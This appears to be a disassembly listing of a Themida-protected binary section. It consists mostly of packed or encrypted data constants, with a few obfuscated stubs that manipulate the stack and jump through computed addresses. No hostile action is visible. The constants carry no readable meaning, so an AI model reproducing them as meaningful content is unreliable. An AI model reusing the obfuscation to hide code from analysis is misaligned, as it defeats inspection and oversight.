		dd 84B8EB5Fh, 0D3D1627h, 0C092C5DAh, 72DE788Dh,	232B2A3Fh
		dd 3E218BF0h, 23FF730Eh, 0D956570Bh, 889DD07Ah,	0D34E81CDh
		dd 8ED27CD9h, 6194BA9Bh, 5442h,	21044C00h, 1C158EF1h, 31B0E1EEh
		dd 9ADC6678h, 5E17BDB2h, 9E8F7D2Dh, 4F368088h, 0A4B0A806h
		dd 80C40D60h, 9F82FC2Dh, 240019B2h, 42AA0ADh, 787096C7h
		dd 0CD5F4B2Eh, 0D7E42BE8h, 69C861h, 8AD20000h, 164677A7h
		dd 8366741Ch, 1C164753h, 0D1024B58h, 0C7C0E652h, 158EB4E4h
		dd 0C3ACB91Ch, 287BBF95h, 67B295DFh, 3923F9A2h,	4A0252h
		dd 0F9A1ED1Dh, 0B4E5F223h, 78CC101Dh, 367A1E30h, 0C844BD0h
		dd 0F9BCF727h, 0B6E7F423h, 0F9AC6CA1h, 2D229723h
		dd 65AFBBCDh, 15643782h, 2C5F6C1Ch, 0C785CFB6h,	0B57396h
		dd 0E6780000h, 977EC8C0h, 0FD5094C2h, 0DB0C4014h, 628F7E61h
		dd 0FF0C23FFh, 11C704E8h, 9CCCAFF7h, 0A123FF61h, 252A6394h
		dd 53701149h, 6D165Ah, 78150000h, 5A8BC591h, 0E630384Eh
		dd 0FF621503h, 768D9A23h, 0C69F5592h, 708DDD89h, 4CAA5A53h
		dd 0A9000000h, 8CC69178h, 0B8C4F548h, 86B69996h, 831C158Eh
		dd 0E32D76h, 23FF6213h,	0C0977E8Ch, 16FB4E92h, 23FF61E6h
		dd 768DD6E3h, 0C69F5592h, 4C8DDD89h, 2CAA5A53h,	0AE000000h
		dd 312391C7h, 3B84D71Bh, 0CD90A4F7h, 0FDEB43ADh, 78FC7BACh
		dd 42783166h, 95273B13h, 8095C691h, 1C166321h, 0FEF7A99Ch
		dd 0E6AEFFFFh, 9B7EC8C0h, 23FF6180h, 250C5663h,	85D81C2Eh
		dd 6899BD9Ch, 0F0F80EF4h, 34D7C3A6h, 0BFCC2BE9h, 7773957Bh
		dd 0BA9DE52Dh, 1C158E8Ah, 3C51828Fh, 23FF6225h,	0F9CDDF27h
		dd 5472CFDEh, 8D0E3E23h, 0FE0B23FFh, 0DF2936CDh, 0ABF561F8h
		dd 8D508063h, 404D23FFh, 82A4AC0Fh, 11F43C86h, 23FF8CE1h
		dd 0BDEDD0DEh, 0C223FF8Ch, 0C13B6CB5h, 0E6C6779h, 0F95B5862h
		dd 0D3CCB3C8h, 0B2BF2BE8h, 0F5D82068h, 1C162FC5h, 0D83F0B48h
		dd 0D5819ACBh, 3837487Bh, 71B43CDBh, 0C1376AE4h, 8CC49279h
		dd 3B9877A7h, 366774B4h, 3215381Dh, 0B43B9902h,	6DB1FA07h
		dd 1F696187h, 5A17D90Dh, 0BF1256FEh, 81E251ABh,	3C596E9Eh
		dd 155E6BB4h, 3B226AE4h, 9CEF3319h, 7C37566Bh, 2734BC20h
		dd 113ED9E3h, 83CD81D4h, 7828583Bh, 1825BBD8h, 0E76F84E7h
		dd 1322BD9Eh, 4F98A047h, 3EA5B70Bh, 29589461h, 134842AEh
		dd 723621FFh, 25312841h, 54AC9E1h, 98E26EE8h, 68ACA6B1h
		dd 6C81E415h, 0BD8DC6EAh, 99DD2679h, 0E576D40Fh, 0F1D41C6Ah
		dd 0BBD7AAC1h, 6780B1BEh, 0B32E61EFh, 85C9C1E6h, 478BC392h
		dd 55331CC3h, 3667E76Eh, 0E86D052Ah, 86CF2266h,	6C173E53h
		dd 8042A5CCh, 0F10851CEh, 3029CF0Dh, 0BB93C21Fh, 0E435545h
		dd 0D8280421h, 3A1F3869h, 9D84D81Ch, 3569ABCh, 808DBDD2h
		dd 5EF91C16h, 0F165F4F1h, 0BA96C0A7h, 0C9B02689h, 7B94C58Fh
		dd 423175DBh, 1C16810Fh, 977D883h, 0D67D3522h, 94DD3074h
		dd 3F14FD50h, 4374C70Bh, 0D0842C2Ah, 0EF00337Ch, 1C16A104h
		dd 6091C1A4h, 818E1C16h, 4D99D038h, 6DA05DBAh, 0A4FFFFFFh
		dd 74B89ABDh, 7871F021h, 0D0D8FA66h, 0F4256B74h, 0A1D47ADBh
		dd 6E85C98Ch, 31A3421h,	8E56A39h, 0A5B7014Dh, 0AD2933A3h
		dd 17BDEEA9h, 0BAA35109h, 44D65Dh, 0E6D50000h, 367EC8C0h
		dd 0CD342C24h, 0D7B3C789h, 0DA84BDE3h, 0C553948Ah, 4A364B7Ch
		dd 3F24005Bh, 0B91E4E31h, 0E1B23FEh, 8CCAAEC5h,	0AD4D02D1h
		dd 0FD458F9Bh, 0DE0F3F16h, 0E88BDDC9h, 4FC5D22Bh, 5AB6h
		dd 0C0E6BB00h, 0F9562D28h, 71EDCF63h, 0CE2165AEh, 6C583B85h
		dd 0E124003Ah, 6AD9BDD4h, 195DF960h, 4DFEC7FBh,	6F58D287h
		dd 0C690C9E7h, 0A2E62F82h, 47440B8Ah, 34C48B68h, 2321512h
		dd 723FF04h, 8467B1FAh,	2BE8D798h, 57F3600Dh, 0C1A8980Eh
		dd 7AA4F398h, 4F460E2Ah, 7856D506h, 8F1D4D30h, 15221C15h
		dd 0C48ACBE4h, 1E42C80h, 1C158ED1h, 0FE228821h,	4FB60465h
		dd 0EC716677h, 29729621h, 0D876DFF8h, 0B482FA5h, 0CBDDFB3Fh
		dd 13A9C143h, 0E4F0216Ah, 997CC6C2h, 23F9E656h,	54226476h
		dd 0BC9CA28h, 0F23643DAh, 0F9EECF03h, 0ABA43723h, 5EFFEFBFh
		dd 608C5Ah, 0E68B0000h,	9B7EC8C0h, 23F9979Ch, 25518A9Ch
		dd 8C4A86B7h, 4EE2FE6Ch, 95C60FD0h, 0C0A7F1FEh,	2546EC93h
		dd 0A55FCCh, 0D38073B7h, 97E03377h, 0CF03F266h,	5223F991h
		dd 0A4A8AC04h, 80C40D60h, 4084C68Dh, 0AD3A15BCh, 1265A9ABh
		dd 1D32C5C9h, 85D1886Fh, 25BDEE41h, 5A5EA075h, 0FEF2h
		dd 7CD9F100h, 0B89B8ED2h, 0A2EB63F2h, 0DFC20A5Eh, 1C158EAFh
		dd 556E9FACh, 170A4E00h, 0CCDD103Eh, 1C159363h,	1F90F362h
		dd 9CB8A024h, 110CC088h, 0D58095C8h, 0CFE13579h, 9981828Bh
		dd 7D89BA43h, 32155F6Bh, 23FA0AEBh, 374993A0h, 1BBFF5C9h
		dd 288BBCFCh, 0EAF8A0B2h, 4399924Eh, 0E8E00612h, 28DEBB9Eh
		dd 0B4C12BE1h, 0F2CC586Ah, 33635DC2h, 0B0D870F2h, 0E7186163h
		dd 7CCD866Dh, 18566999h, 7059661Ch, 0F1246DE9h,	0E1D377DCh
		dd 0C2A5BABAh, 2AA9A6CAh, 0B9000002h, 6F84B7A1h, 24396CEAh
		dd 0D4E91C30h, 889DD084h, 184C7FCBh, 0A1A9AAB3h, 54FE596Eh
		dd 64A0C21h, 0B797BED3h, 0D2B51F84h, 23FF77A2h,	78F2F3A7h
		dd 478BC591h, 32B1E0F4h, 0C4AF9397h, 71D97A93h,	9D194027h
		dd 0FD5094B6h, 0AA2083B4h, 0C6FB5062h, 65355D1h, 168BF121h
		dd 0B0E1EE1Ch, 69F0BE97h, 14A0C4Dh, 780A85B8h, 4589C391h
		dd 93B5C1F2h, 6B6A4D97h, 4D23F998h, 2E5FEF66h, 57468A97h
		dd 23F99823h, 5B9FAFA6h, 7E61EE68h, 23F9984Eh, 0B1F53E4Bh
		dd 58351A99h, 51388054h, 0B1044802h, 0F9979CCCh, 6394A123h
		dd 1149252Ah, 165A5EAAh, 0EAh, 0D27CD915h, 5B107688h, 21DBF076h
		dd 311D38h, 0DF0388Ch, 1C15FADDh, 8BA4D5E2h, 4F3E82C8h
		dd 1C15FFE6h, 0ADE06EE7h, 4D91BD98h, 0FF494167h, 0FA05D51Ch
		dd 83CDDA23h, 4F93B79Ch, 0F268CBFCh, 28C122E0h,	0C4F561A4h
		dd 7ACF96B8h, 0CCF95033h, 2007519Ah, 86D91D39h,	0BCF8DB55h
		dd 0F12BE15Bh, 0A5B39AE4h, 0DB786BAFh, 8FD82B6Fh, 8F326245h
		dd 2A371C17h, 0BB987FF9h, 0C475C8Fh, 5397B79Eh,	1059F560h
		dd 82BCD5C7h, 0C4E8C2A6h, 0E4C7h, 0FD5BFF00h, 0B2A4B5CAh
		dd 62EA6A7Fh, 163E1A2Fh, 0C585CEE3h, 0F07D5E92h, 9FB4E763h
		dd 52679AB8h, 4194C04h,	65CAFD51h, 79E818FBh, 31E523FFh
		dd 0D07AD930h, 0D2ED7486h, 0A0FDFF63h, 7FB09EB7h, 7B5EA61Ch
		dd 1C15EA4Bh, 0F9124350h, 60A8F25Ch, 15EA4D7Dh,	1445521Ch
		dd 917836B1h, 77A78AC5h, 741C158Eh, 0D4ED1E67h,	9689CD81h
		dd 0FD458FBFh, 8EA2D2B5h, 9AA71C15h, 158E85B5h,	4C7D8A1Ch
		dd 0CD81D4E9h, 28583B83h, 251C158Fh, 6F84E718h,	0D61E68E6h
		dd 158EC3F3h, 0D202E51Ch, 0D71C158Eh, 255663CAh, 3C95C2B1h
		dd 3C186D12h, 7CD9CC10h, 0E9848ED2h, 0F89F1966h, 83CB8A57h
		dd 341A3B50h, 0F95BFDF0h, 3F10ABB5h, 519BB3A2h,	1B332209h
		dd 123D0636h, 0C5F6036Dh, 46084D62h, 30502h, 690A0000h
		dd 0D781D93Ah, 99B5A093h, 5CF46255h, 20322518h,	0E06AE9DCh
		dd 0A0AAA99Ch, 65EF695Ch, 26262E21h, 0EC6AEFE2h, 66686AA8h
		dd 54000044h, 8124048Fh, 42404h, 89560000h, 4C681E6h, 83000000h
		dd 348704EEh, 4895C24h,	3B4C6824h, 34890000h, 0BE565524h
		dd 567205A7h, 8102E6C1h, 21BE88C6h, 5EF589AEh, 545DE889h
		dd 8324348Bh, 0EC8304C4h, 24048904h, 8B08468Fh
; ---------------------------------------------------------------------------
		xor	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_598345
; ---------------------------------------------------------------------------
		db 19h,	82h, 0Fh
		dd 125F741Eh, 8032E3F0h
; ---------------------------------------------------------------------------
		xchg	eax, edi


loc_5E1139:				; CODE XREF: Themida_:005DF914j
		mov	eax, 7E9EC2Fh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 26A2h
		dd 7CA36220h, 0D4F4180h, 67A143BCh, 512D57E1h, 4AEA3144h
		dd 74C313F5h, 0C1634FABh, 23A15EB3h, 5791A02h, 0BE82535h
		dd 0CF000000h, 0E68ABBF8h, 0DAB4037Bh, 0DC80AE3Ah, 810F5FB5h
		dd 0
		dd 66F0C781h, 0D0810000h, 3B40CEC5h, 68h, 0C7CC8000h, 5E85Bh
		dd 8E210000h, 0E93F99E2h, 0Fh, 0E913FCA6h, 0F03C6F4Dh
		dd 0D425C6Dh, 5AEB2641h, 0F1F0C8Bh, 587h, 0CFCEBE00h, 0F181263Eh
		dd 2327ADF3h, 8186BEBAh, 4DC18158h, 666C4A7Fh, 81706DB8h
		dd 26E1E1F1h, 5FE88116h, 512158B6h, 7334CE81h, 48F2891h
		dd 58A0F1Fh, 0BE000000h, 588FC29Fh, 0EB8377B4h,	81C38B04h
		dd 0FF99B4FBh, 0A9850FFFh, 0FFFFFFFh, 28Bh, 0E9D78B00h
		dd 12h,	550A24F7h, 7C809E01h, 2	dup(0)
		dd 0C9E90000h, 6800000Dh, 7E9EF2Dh, 0FA904AE9h,	0F07668FFh
		dd 40E907E9h, 68FFFA90h, 7E9F1F3h, 0FA9036E9h, 0F30268FFh
		dd 2CE907E9h, 68FFFA90h, 7E9F497h, 0FA9022E9h, 0F6D168FFh
		dd 18E907E9h, 68FFFA90h, 7E9F8C3h, 0FA900EE9h, 0F9C168FFh
		dd 4E907E9h, 4EFFFA90h,	0AAC05476h, 71DB1D1h, 677D112Bh
		dd 0CAE07488h, 663FD3EFh, 0D0ECC780h, 2E4C263Ch, 90A6849Ah
		dd 0F109E6FCh, 7DFAAA5Dh, 13AB4D86h, 56800F54h,	5B296179h
		dd 0B3D2667Eh, 582D2DCh, 13A6B38Bh, 7B2860C9h, 13A6B480h
		dd 4B0E3647h, 0B4976CE9h, 0DA4313A6h, 4759714Eh, 7809936Ch
		dd 8D6705D8h, 109C376Fh, 48E31B33h, 569736h, 92C00000h
		dd 0A0CCB330h, 218A1442h, 4A3EC0Fh, 42A7829h, 0AFFF58C0h
		dd 0B5D0AF4Dh, 7F5EACFBh, 0AAE23B62h, 4E04FD0Fh, 0C13A60Ch
		dd 3DBE6BA3h, 8A13A60Eh, 6E91CD79h, 28D87763h, 2B249C6h
		dd 0C02013A6h, 0A602BC43h, 58B11A13h, 0A1D9EDCCh, 0B655F406h
		dd 7E000000h, 29617956h, 2C64805Bh, 1072815Eh, 42A0EC93h
		dd 96016A14h, 1442A0E1h, 0A363FD6Dh, 2C9D8056h,	74427AD3h
		dd 0F6EB7F97h, 1442F6D4h, 0D66A825Fh, 93CBE3C0h, 8BDBD3BCh
		dd 0A6E3140Eh, 5DF15A13h, 0D5D513Eh, 40221F90h,	0DCB75314h
		dd 8BC620B9h, 4099B983h, 0C4146D08h, 0CFE7C462h, 0ACC8A3BDh
		dd 0B270218h, 352519B7h, 3AC00062h, 0B8Bh, 0F589AB83h
		dd 52E606DFh, 0B246603Ch, 15A9BD9Ch, 740824FFh,	21FC559Bh
		dd 815B7105h, 0DBB9CF63h, 3E1B31C5h, 2FDF9226h,	0AB4FCDB2h
		dd 0B5448913h, 0F5F7B56h, 67799771h, 3A522F45h,	56704CEAh
		dd 4F71831Eh, 0E720927Eh, 42C1202Dh, 0C3CCEF01h, 0AD8077F4h
		dd 0E54E1442h, 0FB0AF885h, 0F952765Ch, 68E547A9h, 14429093h
		dd 0AF76D63Fh, 0C8FE9423h, 551B1426h, 2313A6EBh, 5A92AA87h
		dd 812E66BFh, 13A6EBFEh, 0EB233D19h, 0F22A3E1Dh, 1D55118Eh
		dd 0C9F0B4C5h, 0EB15EA67h, 58C113A6h, 0C6946B46h, 0A002D877h
		dd 0A6E75C23h, 7F91FA13h, 0E3E0h, 79560900h, 25972961h
		dd 0DF5CFD09h, 1442D718h, 49ED4DB6h, 0FB13F0BEh, 0BDCF28C3h
		dd 74ACC8A3h, 4282E5C7h, 3B533014h, 0EE6BCDA7h,	14428A09h
		dd 304A5CC5h, 2C033B53h, 99FB4B63h, 0CE061EFBh,	8A33C833h
		dd 369F1442h, 4FC94624h, 1513A69Eh, 0E553CEA5h,	1DB8F008h
		dd 1C5C99BDh, 0A6CED89Fh, 0B40D7613h, 0E7A8C75Bh, 0DEFA77C7h
		dd 0AC144028h, 7855F343h, 0F517EC69h, 5AC31B89h, 58B6A101h
		dd 9FD7BDF1h, 3611AF8Dh, 9570861Ah, 0E4B52579h,	38786234h
		dd 0A42B2h, 0D2F4CC00h,	2F4F283Eh, 8FA9859Bh, 0F206E5FBh
		dd 516D485Eh, 451EE4BDh, 0A4BA4E6Ah, 218ACCAh, 647A0E24h
		dd 28DB6F87h, 5004FB78h, 8DD213ABh, 687B56FEh, 42A014EBh
		dd 0E68DB314h, 8C45B4ECh, 6A46D23Bh, 4D63F750h,	0F3C45870h
		dd 11617956h, 437B9973h, 2D096A8h, 5A790D25h, 0FAD27235h
		dd 538BA983h, 232C58B8h, 953383DCh, 0AC8A9CBCh,	0A60A592Fh
		dd 76AE1713h, 0A60A37C9h, 0C1859613h, 7773629Dh, 65C73D8h
		dd 4D9C0000h, 9F1C6C42h, 13A68B21h, 21CE066Fh, 13A68C5Eh
		dd 0F4A8DCEDh, 0D877F10Bh, 0FC10EF8Dh, 437B9370h, 33F796A8h
		dd 20000006h, 0CCB33092h, 4F1442A0h, 88235B71h,	99BCCE37h
		dd 0BF44C1F6h, 1B1442A0h, 8C0959B2h, 13A6A6D6h,	36E31B84h
		dd 13A6A645h, 0CEA7F0CEh, 82DB76AEh, 83A37C4Ah,	0E2B1A94Bh
		dd 7C1C84FCh, 0C48CB87Fh, 732B5B6Ch, 0D877B38Ch, 5E549h
		dd 0C7457200h, 50A00E81h, 0A68C05D3h, 0F673D313h, 13A68C01h
		dd 20B64CDh, 0B3A5EDF7h, 8E206F9Fh, 0B76ADC3Eh,	617D5845h
		dd 0EB2E8E29h, 0DFBB47EAh, 5CBAB3C5h, 2B805F9Eh, 8597B18Dh
		dd 0E42B0AA6h, 3992EB0Bh, 54704BE9h, 0A96F811Ch, 0A1F1BDD2h
		dd 7BDA8724h, 1A6AD388h, 7183A37Ch, 18F593h, 1C3612B0h
		dd 654D42E4h, 1D9689CAh, 7A90B2C4h, 0B331859Dh,	8ECE3E6Ch
		dd 8C5C84Eh, 71490000h,	0CCA5BB4Fh, 260218ACh, 8362780Ch
		dd 0EAC5DB6Fh, 9B613ACEh, 37CBE7C2h, 95294721h,	0F78BA17Fh
		dd 58EC04E1h, 8378F5A5h, 4F13AB51h, 30927B0Ah, 42A0CCB3h
		dd 0F218A14h, 8C0918F5h, 1442A0F7h
dword_5E16C0	dd 906EFA63h, 4EA7427Ah, 5E503F16h, 4D7B910Eh, 90F913ABh
					; DATA XREF: Themida_:00583974o
		dd 4E4407FCh, 0AB0213ABh, 92263E1Bh, 0E6F846B8h, 5E01647Dh
		dd 4668294Ch, 568A79F6h, 0EF5813ABh, 0F40CE9B7h, 56806B60h
		dd 351313ABh, 98758B1Fh, 56770C89h, 7AE313ABh, 433CE921h
		dd 0C1EC54A6h, 3A17063Eh, 9B788E22h, 0DD9E4B83h, 4D13AB56h
		dd 198BCE76h, 0BFCED0A3h, 2F495B0Ah, 0CCA63A52h, 5416ED6Ah
		dd 5BC413ABh, 13C7749h,	56060000h, 38522E79h, 0FBD9A7DFh
		dd 623AADDEh, 0FCD7BE46h, 0DE2E87E0h, 178FF7Ch,	6DD61442h
		dd 13E8955Bh, 84144201h, 80578FA7h, 542BA80Fh, 2144201h
		dd 17708A66h, 9BF16EBEh, 5913ABECh, 0A4529CF0h,	0C3036A15h
		dd 7B63Dh, 5E805800h, 0BBDBB4CAh, 1B351127h, 7E927187h
		dd 0DDF9D4EAh, 0D18A7049h, 3046DAF6h, 8EA43856h, 0F0069AB0h
		dd 0B467FB13h, 53F08704h, 195E13ABh, 2E79568Ah,	0A6DE3753h
		dd 4E35B214h, 0C1442A0h, 9C7791A3h, 0B012EC80h,	42A04C33h
		dd 0DAF2CF14h, 4DB607A2h, 2D43213Bh, 8EA68399h,	0ADC1A03Eh
		dd 8863799Bh, 310D6039h, 0EB44DF17h, 0A19D11B3h, 42E7D2B8h
		dd 8A5890E9h, 1D5B93AFh, 522D1054h, 34CBA236h, 62E05B76h
		dd 94CCEAC4h, 1348E7F9h, 68000000h, 9DD5EDCAh, 9E1BF002h
		dd 82h,	92A88624h, 0F492AB80h, 2BC6FE18h, 0A22FF19h, 0B05A25D2h
		dd 0E4BD1442h, 0E5BE8CC4h, 864F8DC5h, 461D92DEh, 2A421F1Eh
		dd 8CA28096h, 5549CA3Ch, 0F8F44CD6h, 2C8E20E6h,	42F0C8AFh
		dd 911D8614h, 0C66199B7h, 0F0C1BBB4h, 3FC01442h, 243A1807h
		dd 7856BF90h, 7E5C2A62h, 39B61868h, 1442A042h, 0CF95A710h
		dd 0A19CC891h, 2419ADC3h, 1442A8C6h, 14BF3F8Ch,	9C18E05Ch
		dd 41FFFFFEh, 3399Eh, 20922D00h, 0A27E5C71h, 55B55088h
		dd 3244149Ah, 0EB233B18h, 429DAD3Eh, 0F6AE7514h, 2C4C25C3h
		dd 2D4759F4h, 4AE83850h, 8C1E566Ch, 429D680Fh, 247DE614h
		dd 8FA1BD98h, 627A576Dh, 9D927D2Ah, 48251442h, 6E21F830h
		dd 2C8EF040h, 429DC8AFh, 0B1D8614h, 0AB70FC12h,	9D1A7A13h
		dd 13A88AE6h, 973DD465h, 87D86DAAh, 8771C51Eh, 0E26A162Fh
		dd 6211CA2h, 15ED0000h,	70495FF3h, 0CAA6BC50h, 27061CB0h
		dd 8E697F13h, 0FF05DE72h, 0DB6F8B66h, 39CDEBC5h, 9B2F4523h
		dd 0FC90A885h, 671C9949h, 0F313AB54h, 79561FAEh, 805B2961h
		dd 0DDBAD064h, 401B31C5h, 431EEC24h, 0E8B1EF27h, 0CAE6C1BCh
		dd 1DA05F36h, 6F35E05Ch, 5E000002h, 326A444Dh, 0AC5E1485h
		dd 762E3FEAh, 38D0D143h, 0F86D226Bh, 0D1F40BE6h, 4FE1E16Dh
		dd 1000002h, 76B05F8Fh,	1628513Ch, 6A444D41h, 0A0E69D1Ah
		dd 0B741442h, 5EBB26D3h, 0CFE0EAACh, 1E18E797h,	27BDE16Dh
		dd 0E6000002h, 1A6A444Dh, 42A0EA9Dh, 0BF0F7814h, 0A01BE05Dh
		dd 4EB71442h, 82E4763Ch, 42A07E05h, 6173DC14h, 0AC5E7968h
		dd 551122EAh, 6D1ED629h, 1F4FFE1h, 4D280000h, 9D1A6A44h
		dd 1442A0EEh, 2EDB137Ch, 0EAAC5EA3h, 1BF896E8h,	1E30CB03h
		dd 6699C581h, 6FE16D1Eh, 1CEh, 61795698h, 337E5B29h, 3A084054h
		dd 720D455Dh, 0D2CC019h, 0BB973582h, 0A04136A1h, 0A40D1442h
		dd 2799FB4Bh, 44200ED9h, 19F88437h, 0F0FAF305h,	0BE13A670h
		dd 8F701D55h, 3C13A677h, 0A2407B2Bh, 0D974ACC6h, 4613ECC7h
		dd 2385D877h, 0A67FD1A6h, 2147D13h, 7E63h, 424D8C00h, 51DD8E65h
		dd 67C0F21Eh, 0B4D49A17h, 42A213A6h, 0A6873EC5h, 0E3339C13h
		dd 0A6879166h, 7BD43D13h, 0A1B08D2Bh, 0A6875F24h, 3992FB13h
		dd 8E546601h, 0A6871EE1h, 839D7913h, 86A27D4Bh,	0BAEA6D4Eh
		dd 0AE4C9EF6h, 0B381B9D1h, 0EA85BDD7h, 0A2E27F91h, 0F22395F7h
		dd 0C8DD3144h, 0FD2FD43Fh, 42AB13A6h, 8AC2D8B6h, 0FD02DDEFh
		dd 0DAD877B4h, 0C2h, 63835CFAh,	68805D2Bh, 5628FD0Fh, 5B296179h
		dd 5E2C6480h, 63316981h, 0DA6E86h, 0C41B9F8Eh, 4237B047h
		dd 55B51E14h, 7AF76344h, 1442AC85h, 7D8FE851h, 42A82A84h
		dd 110ED14h, 42B1FF84h,	99F25B14h, 5A9E605h, 233917B5h
		dd 98B63311h, 0E613A456h, 2DCB2D7Dh, 64712D54h,	0C7503FC4h
		dd 67425C6Eh, 0CB243A18h, 2A462137h, 19C42CD6h,	8B11516Ah
		dd 3E7h, 992D4F27h, 0F68AAA83h,	56EA04E0h, 0B94D6140h
		dd 18ACC8A3h, 0C5A0B93Fh, 25FF15A9h, 7F5D7307h,	0E2BFD569h
		dd 0D38336CAh, 0AB56A156h, 59E82D13h, 0F5F7B56h, 0A04B30ADh
		dd 9E071442h, 13CA9E3Eh, 57699643h, 2A421F35h, 3092C596h
		dd 42A0CCB3h, 0D747B14h, 6FD6A963h, 89A3B51Eh, 8E5C94ACh
		dd 100599B1h, 1442C16Eh, 2AC8EFA0h, 33C8334Fh, 9F1442C1h
		dd 0B3CFAA36h, 3787E07Bh, 91A3BD99h, 0D98836B3h, 6DD613A6h
		dd 795608D9h, 7E5B2961h, 53D5733h, 0EB445837h, 57D04292h
		dd 160AF0C1h, 0DCB6D8EAh, 0AA06FD7Ah, 0BE991442h, 0D6E851A2h
		dd 82D2DCB3h, 0A893BB10h, 0DD78B0CEh, 0D0E4D67Dh, 6963E0BEh
		dd 2713A617h, 3F98AC8Bh, 18A15A07h, 17F213A6h, 19F5C3FBh
		dd 0D1324F8h, 0CB24E40Ah, 772FB293h, 92D2E33Bh,	0D88D75E7h
		dd 27434770h, 59C53A15h, 4E12D877h, 32000000h, 0BFB846C0h
		dd 8B9D3E1Fh, 75424DB6h, 42A003F8h, 0D66CF14h, 0A98A40BDh
		dd 0DF4813A6h, 0CBB02D8Fh, 8713A6A9h, 99460C1Eh, 13A6A9E6h
		dd 0CBA11365h, 0DFE60639h, 343E0F2h, 8EE1BA58h,	43C95B5h
		dd 837C5769h, 54D87729h, 0E3h, 6179567Dh, 64805B29h, 69815E2Ch
		dd 6E866331h, 866200DAh, 8799346Ch, 42A43C8Eh, 0FB1AF714h
		dd 614A645Bh, 89CF552h,	0C5FD15F2h, 0BD0DA1EEh,	1527451Fh
		dd 332CBA37h, 0DE7A13A6h, 8E75F201h, 4C13A60Ch,	1FFE8AE3h
		dd 0DF38D30Bh, 0FE12F18Fh, 0C49F2BC6h, 0C3D570A8h, 9A0D82A1h
		dd 0A92CCBFFh, 0F68D0A0Ch, 6413A665h, 0F949A2FBh, 65651A97h
		dd 88F113A6h, 98369876h, 3615A1BDh, 3D4FEA22h, 408FEC44h
		dd 900D6F14h, 1B890FEBh, 0FF374F2Ch, 98AA1364h,	620050B9h
		dd 0C1D76B87h, 9676CAE6h, 0FB623483h, 1F535BBh,	41190000h
		dd 9C758B1Fh, 0F6D2E87Ch, 533248DCh, 0BA95AB3Fh, 0CB310A9Eh
		dd 79BB792h, 65F917F1h,	0C75B714Fh, 28BCD4B1h, 0B348C575h
		dd 1F13AB58h, 7B564BDAh, 0D8B5CB5Fh, 4D5B2CC0h,	0F9D77542h
		dd 0A510ABE3h, 1442A0DEh, 6ABA137Ch, 0A6A927EDh, 548CF513h
		dd 0A6A9D4A7h, 22627313h, 0E5FBD977h, 0A9631895h, 86EF13A6h
		dd 8669974h, 0E26FD878h, 98000000h, 29617956h, 0A65D805Bh
		dd 60E459ADh, 142E0A96h, 98E841DCh, 0F5071BFAh,	0E72B9D2Fh
		dd 0B0B63684h, 0B5171022h, 8014427Dh, 5F7F58A3h, 7F5C7206h
		dd 7E0CF370h, 61CA1442h, 96F9D008h, 5D4BC818h, 0B13A670h
		dd 22E052A2h, 0E1B8DBE8h, 603A5C6Eh, 0BDCFE3C2h, 69B9F59Ah
		dd 73F58A07h, 16113A6h,	0A673FF84h, 99F25B13h, 0AB2CA987h
		dd 0F7144095h, 0C5A03E8Eh, 9D3B15A9h, 0D570A8C0h, 0B2CEA9C3h
		dd 3478B85Eh, 27ADED62h, 0F7h, 891D3F17h, 0E67A9A73h, 46DAF4D0h
		dd 0A93D5130h, 89CB893h, 0B590C92Fh, 15EF0599h,	6F4D63F7h
		dd 0D2AFC559h, 0C37326BAh, 0AB59B146h, 49D81D13h, 0F5F7B56h
		dd 6B7D9371h, 47563349h, 35BA92D5h, 25908126h, 1442C45Eh
		dd 0C64393FCh, 1442C431h, 47DB349Dh, 61795676h,	667E5B29h
		dd 0D2DCB3D2h, 4DEB0582h, 6913ABh, 0D3B04EB0h, 4DAB50BBh
		dd 0BE2713ABh
		dd 53D5532h, 0C492586Ah, 0D7FCFE7h, 6DA90196h, 8BADBF52h
		dd 704D9875h, 0D4F2CC58h, 70A8019Ch, 4DE7CDEh, 0DA847BE6h
		dd 0E95213ABh, 51CDED7h, 64E14148h, 48603D20h, 0A9C19EB4h
		dd 81C8E759h, 0A654888Fh, 9E3CCE94h, 7D97A9C1h,	9B528A9Eh
		dd 0C09D80C4h, 477F9975h, 650353ACh, 9E397187h,	77546A8Ch
		dd 0B0AA0758h, 72513124h, 328B265Eh, 0C1BA1D9h,	0AA000000h
		dd 32C3358Dh, 0D5DCB12Bh, 56572C3Eh, 56245C7Eh,	5B296179h
		dd 612F677Dh, 63316987h, 66346C88h, 69376F8Bh, 703E768Ah
		dd 74427A94h, 0EE437B9Bh, 81E78957h, 4C7h, 4EF8300h, 8B243C87h
		dd 89502424h, 405E0h, 42D0000h,	87000000h, 895C2404h
; ---------------------------------------------------------------------------
		xor	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	7E9EDF8h
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	esi
		add	dword ptr [esp], 320126CBh
		pop	dword ptr [eax+8]
		push	ebp
		mov	ebp, 320126CBh
		sub	[eax+8], ebp
		pop	ebp
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		dd 7E9E9B18h, 0A57E35D8h, 0EB1E9CF0h, 0E9FADDB8h, 0FFC50307h
		dd 0D51A89E0h, 75310540h, 1FAB834Fh, 0D36D8F1Eh, 0BF20A636h
		dd 40640F2Ah, 0FD74722Ah, 0AAF4BB27h, 4FCE4432h, 4DAC2972h
		dd 34425652h, 0F00B700Fh, 0F0BC3571h, 6F1EA67Bh, 0B39EF54Dh
		dd 634EB627h, 27148F3Bh, 0FAB53350h, 9BCC3E1Ch,	6F102330h
		dd 0F017D57Ah, 0DA4DD50Dh, 0E12FB70Eh, 29659B09h, 0D9B59F4Dh
		dd 81DE6864h, 6CE2932Dh, 0D6998B17h, 47EA104Ch,	8094FD26h
		dd 0CCE4F44Fh, 0EB8D8D64h, 6A07E9FCh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 8E46C350h
		dd 89F938F9h, 0E41B718Dh, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 23A0D952h
